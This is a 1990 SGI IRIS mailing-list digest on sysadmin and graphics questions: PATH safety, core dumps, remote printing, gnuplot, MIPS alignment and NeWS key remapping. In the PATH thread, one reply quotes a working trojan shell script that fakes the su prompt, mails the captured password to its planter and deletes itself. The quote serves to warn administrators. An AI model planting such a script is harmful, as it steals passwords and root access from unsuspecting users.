> Status: R > > Personally, I find the practice of NOT having '.' in your path, > extremely paranoid. It assumes you can't trust any of the users on > that machine. The "security hole" is that if you are in someone elses > directory and you execute what you think is a system command and that > person has a command by that name, they could cause you to do anything > they want and you wouldn't know about it. You could always make it the > last place to look by putting it at the end of the path. > If you can't trust the people you work with, who can you trust?! > -- > > Brent L. Bates > NASA-Langley Research Center > M.S. 361 > Hampton, Virginia 23665-5225 > (804) 864-2854 > E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov > > The people you work with may be fine folks, but that doesn't protect your root account against worms, viruses, and other assorted fauna that could possibly float in uninvited from the network, leaving who knows what lurking in your system. Also, unless you keep your computers in a vault, you may not have complete control over physical access. Although leaving "." out of a normal user's path is probably more trouble than it's worth, this seems like a prudent safeguard for the root account. ------------------------------ Mike Goss Merit Technology Inc. (214)733-7018 goss@snow-white.merit-tech.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12148; 12 Apr 90 18:55 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12091; 12 Apr 90 18:44 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12084; 12 Apr 90 18:28 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa14052; 12 Apr 90 18:18 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA27594; Thu, 12 Apr 90 15:15:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 21:20:23 GMT From: James Helman Organization: Stanford University Subject: Inhibiting core dumps Message-Id: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Every time I log out from 4Sight, the X server dumps core leaving a large file in /. The fact that X dumps core, doesn't bother me in this situation. I'm already out the door. But I frequently have people complain about compile problems because of inadequate space in /tmp. My kludge of a solution was to change inetd.conf so that inetd invokes a Bourne shell script which does a "ulimit 10" before starting Xsgi. Doing a cd to a read only filesystem like /debug also works quite effectively. I now get nice little 1164 byte core dumps. (I expected to get 5120. There must be something magic about 1164, like maybe it's some header length). I wish the C shell implemented the various "limit" commands. Using these one can make much more focused restrictions, e.g. "limit coredumpsize." Ulimit is quite crude and works in this case only because (I hope) the X server never writes to disk except when dumping core. Questions: 1) Does the X server ever need to write any files? If so, this solution could cause problems. 2) I don't find any system call analogous to BSD's setrlimit(). Is ulimit all the kernel supports? Is there any way to only inhibit core dumps? Jim Helman Department of Applied Physics 6 Trillium Lane Stanford University San Carlos, CA 94070 (jim@thrush.stanford.edu) (415) 723-9127   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12286; 12 Apr 90 19:39 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12221; 12 Apr 90 19:29 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12206; 12 Apr 90 19:08 EDT Received: from umrvma.umr.edu by SMOKE.BRL.MIL id aa14255; 12 Apr 90 18:56 EDT Received: from UMRVMA.UMR.EDU by UMRVMA.UMR.EDU (IBM VM SMTP R1.2.1MX) with BSMTP id 8500; Thu, 12 Apr 90 17:54:43 CDT Received: by UMRVMA (Mailer R2.05) id 8499; Thu, 12 Apr 90 17:54:35 CDT Date: Thu, 12 Apr 90 17:43:36 CDT From: Bob Funchess Subject: Re: "." in path To: info-iris@BRL.MIL Message-ID: <9004121856.aa14255@SMOKE.BRL.MIL> Personally, *I* have "." in my root path, in the LAST position, for two reasons a) Putting it last is safer, since the places system files are expected to be are searched first, and b) Putting it last is faster, since most commands issued will be 'ls' or 'cd' or something not likely to be found in the current directory anyway. Maybe my paranoid quotient just isn't high enough, but I haven't had any trouble with it like this, and I don't anticipate having any... the reasons apply to any user, by the way, not just root. Last in the search path probably is the best place for "." in all cases, the same being true for any publicly writable bin directories. < Bob | S090726@UMRVMA.UMR.EDU | Funchess > University of Missouri - Rolla "Never trust a man in a blue trench coat, Never drive a car when you're dead" -- T. Waits   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12401; 12 Apr 90 20:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab12286; 12 Apr 90 19:50 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12250; 12 Apr 90 19:32 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa14460; 12 Apr 90 19:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA01656; Thu, 12 Apr 90 16:13:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 22:58:45 GMT From: Shin Kurokawa Organization: University of Chicago Subject: Remote printing Message-Id: <8448@tank.uchicago.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Any suggestions on how I can make a 4D/220 to access the printer that is physically connected to a BSD unix system on the network? Here's what I've done so far... I've created an account "lp" on the BSD unix machine. This account's default directory is /usr/spool/printer_name_here, and the default shell is /bogus_shell. This is one way the BSD systems allow remote printing among themselves;and we've been quite successful in doing so with several BSD machines trying to print using the printer that's physically attached to a BSD machine. Of course, the names of those machines which can print using this printer are listed in /etc/hosts/lpd in the 'main' BSD machine(the one with the printer on it). I put the name of the SG 220 in there, restarted inetd, even rebooted the whole thing, but what I get on the SG screen is an error message which goes something like "/bogus_shell is not an available printer..." I even tried putting the actual name of the printer there (in the default shell field of the passwd file) and surprisingly it says that it's not an available printer (even though the same printer is actually an available printer, at least from the BSD community! :-). Since we just received the SG unit several weeks ago without any manuals (we're still waiting for that!), I haven't been able to RTFM. Please help me out, if you can. Thanks in advance! Shin Kurokawa kur7@tank.uchicago.edu Physical Sciences Numerical Calculation Laboratory, University of Chicago 5640 S.Ellis Ave., Chicago, IL 60637 USA   Received: from vmb.brl.mil by VMB.BRL.MIL id ad05749; 15 Apr 90 4:31 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab05641; 15 Apr 90 4:01 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05624; 15 Apr 90 3:34 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20024; 15 Apr 90 3:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA13337; Sun, 15 Apr 90 00:06:04 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 21:01:23 GMT From: Bob Green Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: graphing software for SGI Message-Id: <56609@sgi.sgi.com> References: <9004112248.AA02379@Icarus2.AE.MsState.Edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I don't know whether you would consider the combination of Documenter's WorkBench plus the Laser Printer Support option to be an answer to your 2D graphing problems but it works for me. I have several utilities which feed information into pic and grap which is then fed to the laser printer. It does take some time to get used to the primitive nature of these pure black and white programming tools. Bob Green Silicon Graphics, Inc.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa05930; 15 Apr 90 4:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05749; 15 Apr 90 4:30 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05673; 15 Apr 90 3:57 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20047; 15 Apr 90 3:26 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA13483; Sun, 15 Apr 90 00:08:04 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 16:24:43 GMT From: "Gavin A. Bell" Subject: Re: Performance drawing stereo dots Message-Id: <6293@odin.corp.sgi.com> References: <9004111723.AA07506@> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Whenever I'm presented with a graphics benchmark, I first do a few back-of-the-envelope calculations to figure out what kind of performance to expect. For this application, I calculate: Quoted speed of point drawing: 400,000 /second (on GT / GTX) Desired frames/second: 60 ... therefore, each frame is 1/60 second, = 17 milliseconds long Screen Clear speed: 8.2 milliseconds (on GTX) ... This is half of the time spent on each frame. So, half of the time will be spent clearing the screen (on a GTX; I believe screen clear rates are lower for GT machines, but I don't have those numbers handy ). Each frame you should be able to draw a total of: (400,000 / 60) * 1/2 = 3,333 points If you are doing stereo, however, you must draw each point twice, resulting in only ~1,500 points/frame. And, as you noted, this assumes that you are doing nothing but drawing points and clearing the screen; any CPU work, transformations, color commands, user interaction, etc. will likely further slow you down. Profiling your application (using pixie) can be extremely helpful in finding bottlenecks. This probably doesn't help much, but it will hopefully help you set performance expectations in the future. --gavin --gavin (gavin@sgi.com, (415)335-1024)   Received: from vmb.brl.mil by VMB.BRL.MIL id ab05930; 15 Apr 90 4:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab05749; 15 Apr 90 4:30 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab05673; 15 Apr 90 3:57 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20049; 15 Apr 90 3:26 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA13470; Sun, 15 Apr 90 00:07:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 08:20:17 GMT From: Scott Henry Organization: Silicon Graphics Inc, Mountain View, CA Subject: Re: Character pointer c core dump Message-Id: References: <5051930@ub.cc.umich.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL > What's wrong with this picture, or what's wrong with this > cc compiler? The following dumps core at *lp=5: > > char buf[1024]; > main() > > { > > long *lp; > > int i; > > > lp = (long *)&buf[6]; > > *lp = 5; > > printf("%ld\n", *lp); > > >} > > However.... If you replace the &buf[6] with &buf[0], it > works the way you would expect and prints 5 to the screen. > Looks like a bug? > Thanks for any help you can give me. This code came from and works on a VAX, right :-)? The MIPS processor can only access long data on long boundaries. Assuming that the buffer starts at a longword boundary, offsets that are on a longword boundary ([0], [4], [8], etc) will work, any other offset will cause a segv and core dump. If lp where a short, then offsets that are a multiple of a short (0, 2, 4, 6, etc) would work. (VAX's can access any sized data at any offset). Hope this helps! > Tim Buxton > OptiMetrics, Inc. > Tim_Buxton@um.cc.umich.edu -- Scott Henry | Traveller on Dragon Wings Information Services, | Silicon Graphics, Inc | These are my Opinions only! Whose else?   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09571; 15 Apr 90 22:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab09460; 15 Apr 90 22:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab09398; 15 Apr 90 22:08 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa27370; 15 Apr 90 21:33 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA15388; Sun, 15 Apr 90 18:26:44 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 00:36:02 GMT From: Victor Mitnick Subject: Re: graphing software for SGI Message-Id: <6323@odin.corp.sgi.com> References: <9004112248.AA02379@Icarus2.AE.MsState.Edu>, <56609@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL There's IRISPLOT, which I believe is available free of charge from math.arizona.edu (University of Arizona). I've never used it, but I knows it's out there. Here are some excerpts from the man page: DESCRIPTION IRISPLOT is a command and menu driven interactive plotting program which generates high quality graphics on the IRIS-4D series machine. It reads instructions from the standard in and produces plots based on these instructions. Once a plot is done, the plotted graphical objects can be manipulated by mouse input. . . . AUTHORS The front end code is modified from gnuplot 1.1.5 by Thomas Williams and Collin Kelley by Maorong Zou. The graphical driver was written by Maorong Zou. -- Vic Mitnick Silicon Graphics, Inc. vic@wookie.wpd.sgi.com System Software Division (415)335-1372 Maybe if we listened to it, history would stop repeating itself. -- Lily Tomlin   Received: from vmb.brl.mil by VMB.BRL.MIL id ab09571; 15 Apr 90 22:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac09460; 15 Apr 90 22:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac09398; 15 Apr 90 22:08 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa27381; 15 Apr 90 21:35 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA15411; Sun, 15 Apr 90 18:27:03 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 00:37:46 GMT From: James M Winget Organization: Silicon Graphics, Research & Development Subject: Re: graphing software for SGI Message-Id: <6324@odin.corp.sgi.com> References: <9004112248.AA02379@Icarus2.AE.MsState.Edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL You might find that GNUPLOT provides the requested 2D plotting capabilites. It was recently posted to comp.sources.misc, heres part 0 of 13. I've been using (older versions) for several months. My typical exec version includes both the IRIS (shared GL) and Postscript (encapsulated) drivers. I preview the plot interactively, set the output to postscript, and "replot" to generate hardcopy. Works great! ----------------------------------------------------------------------------- Article 590 of comp.sources.misc: Path: odin!shinobu!sgi!decwrl!uunet!allbery From: thaw@ucbvax.Berkeley.EDU@pixar.UUCP (Tom Williams) Newsgroups: comp.sources.misc Subject: v11i065: Gnuplot 2.0 - 0 of 14 Message-ID: <82358@uunet.UU.NET> Date: 26 Mar 90 00:10:02 GMT Sender: allbery@uunet.UU.NET Organization: Pixar -- Marin County, California Lines: 38 Approved: allbery@uunet.UU.NET (Brandon S. Allbery - comp.sources.misc) Posting-number: Volume 11, Issue 65 Submitted-by: thaw@ucbvax.Berkeley.EDU@pixar.UUCP (Tom Williams) Archive-name: gnuplot2/part00 --- CUT HERE --- #!/bin/sh # This is a shell file to make directories mkdir term demo bugtest docs docs/latextut translate exit --- CUT HERE --- Gnuplot is a command-line driven interactive function plotting utility for UNIX, MSDOS, and VMS platforms. The software is free. It was originally intended as graphical program which would allow scientists and students to visualize mathematical functions and data. Additions to this version of the software allow production of publication quality plots and data graphs. Gnuplot supports many different types of terminals, plotters, and printers and is easily extensible to include new devices. [ The "GNU" in Gnuplot has nothing to do with the Free Software Foundation, the naming is just a coincidence (and a long story). ] Gnuplot Features: Cartesian and Polar plots. Logscale graphs. Intelligent Tic spacing. Optional Autoscaling. Support for complex numbers. VMS-like online help. User-definable functions and variables. All the builtin functions C, FORTRAN, and BASIC provide. All the unary and binary operators supported by C, and more. MANY formatting features, such as labels, grids, and arrows. Support for Saving and Loading work in progress. Command line substitution. And lots more.... -------------------------------------------------------------------------- Here are my diffs for the Makefile (the only changes I had to make): 22c22 < CFLAGS = -DGAMMA -O --- > CFLAGS = -DVFORK -DBCOPY -DBZERO -DGAMMA #-gx #-O 52,55c52,55 < #TERMFLAGS = -Iterm -DAED -DBITGRAPH -DDXY800A -DEPSON -DHP2648 \ < # -DHP26 -DHP75 -DHPGL -DHPLJET -DIMAGEN -DKERMIT -DLATEX -DEEPIC \ < # -DPOSTSCRIPT -DPROPRINTER -DQMS -DREGIS -DSELANAR -DTEK \ < # -DUNIXPLOT -DV384 --- > TERMFLAGS = -Iterm -DAED -DBITGRAPH -DDXY800A -DEPSON -DHP2648 \ > -DHP26 -DHP75 -DHPGL -DHPLJET -DIMAGEN -DKERMIT -DLATEX -DEEPIC \ > -DPOSTSCRIPT -DPROPRINTER -DQMS -DREGIS -DSELANAR -DTEK \ > -DUNIXPLOT -DV384 57,58d56 < TERMFLAGS = -Iterm -DIRIS4D -DPOSTSCRIPT < 106c104 < LIBS = -lm -lgl_s --- > LIBS = -lm -lplot ------------------------------------------------------------------------------ Hope that helps, Jim --- James M. Winget Silicon Graphics (415) 962-3654 2011 Stierlin Road jmw@sgi.com Mountain View, CA 94043-7311 or possibly: ames!sgi!jmw   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09642; 15 Apr 90 22:56 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09460; 15 Apr 90 22:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09398; 15 Apr 90 22:08 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa27219; 15 Apr 90 21:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA14168; Sun, 15 Apr 90 18:11:25 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 17:55:38 GMT From: Mark Callow Organization: Silicon Graphics Inc., Entry Systems Division Subject: Re: Character pointer c core dump Message-Id: <6301@odin.corp.sgi.com> References: <5051930@ub.cc.umich.edu>, Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article , scotth@corp.sgi.com (Scott Henry) writes: > [8], etc) will work, any other offset will cause a segv and core dump. If Actually it causes a bus error (SIGBUS) not a segmentation violation (SIGSEGV). -- From the TARDIS of Mark Callow msc@ramoth.sgi.com, ...{ames,decwrl}!sgi!msc "There is much virtue in a window. It is to a human being as a frame is to a painting, as a proscenium to a play. It strongly defines its content."   Received: from vmb.brl.mil by VMB.BRL.MIL id ab21175; 16 Apr 90 14:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac20727; 16 Apr 90 14:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20631; 16 Apr 90 14:10 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20848; 15 Apr 90 5:48 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22232; Sun, 15 Apr 90 02:43:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 02:34:32 GMT From: usenet news poster Organization: National Library of Medicine, Bethesda, Md. Subject: Re: Remote printing Message-Id: <11968@nlm-mcs.arpa> References: <8448@tank.uchicago.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <8448@tank.uchicago.edu> kur7@tank.uchicago.edu (Shin Kurokawa) writes: > >Any suggestions on how I can make a 4D/220 to access the printer >that is physically connected to a BSD unix system on the >network? A real simple hack that can be set up easily is to create a shellscript file with the following commands: cat $1 | rsh PRINTER_HOST lpr you need to have an account on the PRINTER_HOST machine and need to setup a .rhosts file, but then you can print transparently. It is very useful when you are working on a remote system that is not particularly well integrated with your own and want to be able to print locally. David States   Received: from vmb.brl.mil by VMB.BRL.MIL id ac21175; 16 Apr 90 14:46 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad20727; 16 Apr 90 14:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac20631; 16 Apr 90 14:11 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa21624; 15 Apr 90 7:31 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA27395; Sun, 15 Apr 90 04:17:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 23:49:26 GMT From: Matthew A Machlis Organization: Massachusetts Institute of Technology Subject: 3D graphics Message-Id: <1990Apr12.234926.23484@athena.mit.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I know this is a simple question, but... I wrote a small c program which draws a cube with 2 opposing sides removed to make it "hollow," and which lets you move around inside the cube. I use "makeobj()" to define the cube and "polf()" to draw each face. It looks correct from one side, but when you look at it from the opposite side, the computer still draws the faces in the same order of overlap, so it does not look right. Does this have something to do with zbuffering? I'm using a 3020, by the way. Any help would be appreciated.   Received: from vmb.brl.mil by VMB.BRL.MIL id ad22028; 16 Apr 90 15:38 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab21577; 16 Apr 90 15:19 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac21527; 16 Apr 90 15:04 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa27224; 15 Apr 90 21:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA13995; Sun, 15 Apr 90 18:09:31 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 12 Apr 90 18:07:48 GMT From: John H Merritt Organization: Goddard Space Flight Center Climate and Radiation Branch Subject: Re: . in $path Message-Id: <1630@dftsrv.gsfc.nasa.gov> References: <283:doelz@urz.unibas.ch> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <283:doelz@urz.unibas.ch> doelz@urz.unibas.ch (Reinhard Doelz) writes: > > >The *root* may not use it, otherwise it's fine. Imagine you're su'ing around >and some weird guy aliased ls to rm. ^^^^^^^ <-- he means, has a command or program named ... More concretely it prevents some one gaining root capabilities through a trojan horse. Consider the following program, from UNIX Today April 2, 1990. Chump=$1 stty -echo echo "Password:\c" read ChumpsPwd echo "" stty echo echo $Chump\'s passwd is $ChumpsPwd \ | mail cybrpunk sleep 1 echo "su:Sorry" rm su This program is placed in every public writable directory and eventually someone will execute it; it reports failure the first time and the user thinks he typed the wrong password and never knows he just gave the root password away. Another popular trojan horse is 'ls'. If you must have '.' in the path, it should be last. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John H. Merritt # Yesterday I knew nothing, Applied Research Corporation # Today I know that. merritt@iris613.gsfc.nasa.gov #   Received: from vmb.brl.mil by VMB.BRL.MIL id aa18043; 13 Apr 90 10:04 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa17494; 13 Apr 90 9:32 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa17224; 13 Apr 90 9:01 EDT Received: from [128.155.36.81] by SMOKE.BRL.MIL id aa23427; 13 Apr 90 8:52 EDT Received: Fri, 13 Apr 90 08:53:38 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Fri, 13 Apr 90 08:53:38 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004131553.AA00423@aero4.larc.nasa.gov> To: tank!kur7@handies.ucar.edu Subject: Re: Remote printing Cc: info-iris@BRL.MIL When printing from a SYSV machine to a BSD machine you essentially do an rcp of the print file from the SYSV to the BSD machine, then rsh the lp command to the BSD machine from the SYSV machine. If you did a "mknetpr", you will need to look at the directory /usr/spool/lp/interface. This directory has all the printer interface files in it. We have a user name lp on the machine with the printer and a .rhosts file in its home directory. On our 3130 the lp command executes as user "lp" the interface file rcp's the print files to the remote machine, then rsh's the "lpr" command. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21926; 13 Apr 90 13:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa20449; 13 Apr 90 12:02 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20234; 13 Apr 90 11:41 EDT Received: from Sierra.Stanford.EDU by SMOKE.BRL.MIL id aa29155; 13 Apr 90 11:37 EDT Received: by sierra.Stanford.EDU (4.1/4.7); Fri, 13 Apr 90 08:36:23 PDT Date: Fri, 13 Apr 90 08:36:23 PDT From: "Lloyd J. Lacomb" To: info-iris@BRL.MIL Cc: lacomb@sierra.stanford.edu Subject: How many bytes in a page, etc... Message-Id: I was recently using os_view() to check on how frequently an application of mine was paging and swaping. os_view and sar seem to report memory in unit of pages, but I was unable to find anywhere a number on what a page of memory actually was in term of something usable like bytes. Does anyone know? Is it the same for all Unix systems, all SV systems, all Irises? The second question regards the KODAK XL7700 printer. Has anyone hooked one up to any IRIS. If so, can you share the source code or at least some pointers. The manual seems straight forward enough, but if there's a "gottcha" out there I'd like to know about it beforehand. Thanks in advance. Lloyd LaComb lacomb@sierra.stanford.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22291; 13 Apr 90 13:30 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21172; 13 Apr 90 12:48 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21107; 13 Apr 90 12:28 EDT Received: from dukempd.phy.duke.edu by SMOKE.BRL.MIL id aa29676; 13 Apr 90 11:58 EDT Received: from physics.phy.duke.edu by dukempd.phy.duke.edu (5.59/1.1/2.10) id AA14635; Fri, 13 Apr 90 11:56:43 EDT Received: by physics.phy.duke.edu (4.0/2.1/4.0) id AA28818; Fri, 13 Apr 90 11:56:40 EDT Date: Fri, 13 Apr 90 11:56:40 EDT From: "Robert G. Brown" Message-Id: <9004131556.AA28818@physics.phy.duke.edu> To: info-iris@BRL.MIL Subject: Re: . in $path (from moss@brl.mil) I agree with moss@brl.mil's remarks. That's why I leave it out, too. I actually do trust everybody on the system I manage, but a) that is no excuse for acting irresponsibly and risking everybody's files and work -- the penalities are too great if your judgement is wrong; and b) there are various ways for users on other systems to (perhaps) trap innocent and trustworthy user accounts with out their knowledge. We do have some dodo's (oops, I mean "novice users") on our system with accounts in other departments, and if their accounts over there (where security is out of my hands) are broken into, then it is just a matter of time before their account on our system is compromised. My only point concerning the relative security of putting the . last, if it is there at all, is that the chances of root actually working in a user's directory (rare enough by itself) without looking to see what is there with ls (which is on the root path) AND having a malevolent or compromised user AND missing a TH that is a program used by root not on the root path AND calling that particular program are all but negligible, especially on a small subnet with relatively few users. The risk of a wheel member running su to root or ls NOT as root in an evildoer's directory is much greater, since the only way to avoid it is either discipline (never su OR ls except in a safe place) or (more cleverly) by aliasing su and ls to their explicit, full path name. This is because the greater risk is that personal accounts (NOT the root account) generally have "." FIRST in distribution prototypes. If a member of wheel, not wearing his su hat, executes ANYTHING in an evildoer's directory (the obvious targets being ls -- to spring the trap and erase the evidence and su -- ditto) then the wicked one can do whatever he likes with the wheel--member's account, including re-aliasing su or planting some TH's in the wheel member's directory that will all but ensure that the system sinner will ultimately achieve his naughty goal of root power. But who checks for the location of or existenc of "." in the path of a member of wheel? Besides, if someone wants to break into a system as root and has an account or access to an account and knows what they are doing, who's going to stop them? There are a bunch of ways to gain root access available to a knowledgeable user, and TH's in their home directories are actually one of the more obvious ones that leave them particularly vulnerable to being caught. (This is particularly true of the distribution installation of SG's Irix, where one has unprotected accounts galore in the distributed passwd file.) One could even write a cron script to "troll" for such things, and flag users with programs or scripts named things like "su", "ls", or other stuff. There are many, many ways to break in and it is the rare system manager who knows all of them and the even rarer system that is invulnerable, especially to someone smart who has an account. I personally find that I become more paranoid the longer I have this job, mostly because I learn more and more ways to break into my own or anyone else's system (a few from experience). That is mostly why I finally removed "." entirely from the root path and put it LAST in my own personal path. Better safe than sorry, and all that. But I really truly doubt that it is "necessary" on most systems. Like ours. (I told you I was paranoid, didn't I? :-) Dr. Robert G. Brown System Administrator Duke University Physics Dept. Durham, NC 27706 (919)-684-8130 Fax (24hr) (919)-684-8101 rgb@phy.duke.edu rgb@physics.phy.duke.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id ac05749; 15 Apr 90 4:31 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05641; 15 Apr 90 4:01 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05622; 15 Apr 90 3:34 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20011; 15 Apr 90 3:04 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA12320; Sat, 14 Apr 90 23:50:05 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 11:48:14 GMT From: Rick Becker Organization: AT&T Bell Laboratories, Murray Hill NJ Subject: Re: changing key bindings Message-Id: <10700@alice.UUCP> References: <12704@dime.cs.umass.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <12704@dime.cs.umass.edu>, james@smectos.gang.umass.edu (Jim Riordan) writes: > Does anybody know how to rebind the keys on an SGI 4D240 running NeWS > so that the key acts as ? Your question about interchanging the control and caps lock keys was addressed some time ago in this newsgroup. Here's a summary. We decided to make the change affect all users on our machines, and not be something that required individuals to modify their own setup code. We also wanted to take it one step further, by interchanging the keycaps -- a bit of surgery with a sharp knife can make the wide control key cap fit into the space vacated by caps lock. To change the software, we added one line to /usr/NeWS/lib/NeWS/init.ps: (NeWS/keyflip.ps) LoadFile pop just before the LoadFile for startup.ps. Here is the definition for the file /usr/NeWS/lib/NeWS/keyflip.ps. Most of this was copied from something on netnews (I forget the original source). % Code to change key bindings. % The call to replacekeys swaps the Ctrl and Caps Lock keys, % as well as the Esc and ~/` keys. /replacekeys { % origkeyvals_array changedkeyvals_array -> - { /changedvals exch def /origvals exch def /keysdict origvals length dict def keysdict begin 0 1 origvals length 1 sub { dup origvals exch get changedvals 3 2 roll get def } for end createevent dup begin /Name origvals def /Priority 2 def /Exclusivity true def end expressinterest { awaitevent dup dup begin /Name get keysdict exch get /Name exch def end redistributeevent } loop } fork pop pop pop } def [ 28420 28419 28471 28423 ] [ 28419 28420 28423 28471 ] replacekeys %28423 Escape %28420 Caps Lock %28419 Ctrl (left side) %28471 ` and ~ The line calling replacekeys interchanges the meanings of caps lock and the left-side control key and also interchanges escape with the `~ key (useful with 